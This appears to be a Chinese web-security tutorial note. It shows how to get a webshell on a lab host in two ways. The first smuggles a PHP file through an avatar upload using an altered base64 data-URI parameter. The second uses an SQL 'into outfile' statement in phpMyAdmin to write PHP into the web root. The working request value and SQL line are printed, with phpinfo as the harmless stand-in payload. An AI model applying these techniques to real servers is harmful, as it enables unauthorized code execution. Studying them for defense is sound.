某教程学习笔记(一):19、任意文件上传和sql语句拿shell

简介: 某教程学习笔记(一):19、任意文件上传和sql语句拿shell

一、任意上传文件拿shell


1、注册账号

0a2653c851af460fa595bd959398a8f1.png

2、上传头像

0eacb84100b54626af849e6b562bf92a.png

3、上传任意文件,抓包分析

2d65d23f6d4748949b924e4057485923.png

将tx后面的内容修改为tx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHANCiBwaHBpbmZvKCk7IA0KPz4%3D


解密收的内容为:data:image/php;base64,<?php phpinfo();?>,也就是上传一个文件内容为<?php phpinfo();?>的php文件


4、虽然提示报错,但是我们访问上传后的地址: http://192.168.171.128/uploadfile/member/3/0x0.php ,文件已生效

2e9b90b2ca334476abebe75bafe6eeaa.png4cebaac233b3433da32a72337a77fc60.png

二、sql命令拿shell

1、进入phpmyadmin页面

0a2653c851af460fa595bd959398a8f1.png

2、输入一下sql语句并执行,生成一aiyou.php文件,内容为<?php phpinfo();?>

0eacb84100b54626af849e6b562bf92a.png

select “<?php phpinfo();?>” into outfile “C:/phpStudy/PHPTutorial/WWW/aiyou.php”

3、访问该文件 http://192.168.171.128/aiyou.php

2d65d23f6d4748949b924e4057485923.png

禁止非法,后果自负

目录
相关文章
|
28天前
|
SQL 存储 Oracle
sql数据库使用教程
SQL(Structured Query Language)结构化查询语言是一种用于操作数据库的标准语言,被广泛应用于关系型数据库管理系统(RDBMS),如MySQL、Oracle、Microsoft
|
28天前
|
SQL 数据库
sql数据库教程设计
SQL数据库教程设计可以分为以下几个步骤: 1. 确定教学目标:首先,需要明确教程的教学目标,例如让学生掌握SQL语言的基础知识,包括数据查询、数据操作、数据定义等,以及培养学生的实际操作能力,
|
3天前
|
Shell
蓝易云 - 简单shell脚本的编写教程
以上就是编写一个基本Shell脚本的步骤。当然,Shell脚本可以做的远不止这些,你可以使用变量,控制结构(如if语句和循环),以及各种Shell命令和功能来编写更复杂的脚本。
11 1
|
4天前
|
Shell
蓝易云 - 简单shell脚本的编写教程
以上就是编写一个基本Shell脚本的步骤。当然,Shell脚本可以做的远不止这些,你可以使用变量,控制结构(如if语句和循环),以及各种Shell命令和功能来编写更复杂的脚本。
5 0
|
2月前
|
SQL 关系型数据库 MySQL
简简单单 My SQL 学习笔记(1)——表中数据的整删改查
简简单单 My SQL 学习笔记(1)——表中数据的整删改查
|
2月前
|
SQL 关系型数据库 MySQL
简简单单 My SQL 学习笔记(2)——分组和简单数据的查询
简简单单 My SQL 学习笔记(2)——分组和简单数据的查询
|
2月前
|
SQL 关系型数据库 MySQL
简简单单 My SQL 学习笔记(3)——连接和嵌套查询
简简单单 My SQL 学习笔记(3)——连接和嵌套查询
|
2月前
|
SQL Oracle 关系型数据库
SQL 教程
SQL 教程
25 1
|
2月前
|
SQL 存储 网络协议
SQL Server详细使用教程
SQL Server详细使用教程
63 2
|
2月前
|
SQL 存储 关系型数据库
sql 数据库教程
SQL数据库教程可以从以下几个方面进行介绍: 一、SQL概述与基本概念 SQL,全称Structured Query Language,即结构化查询语言,是用于管理关系型数据库的编程语言。
27 0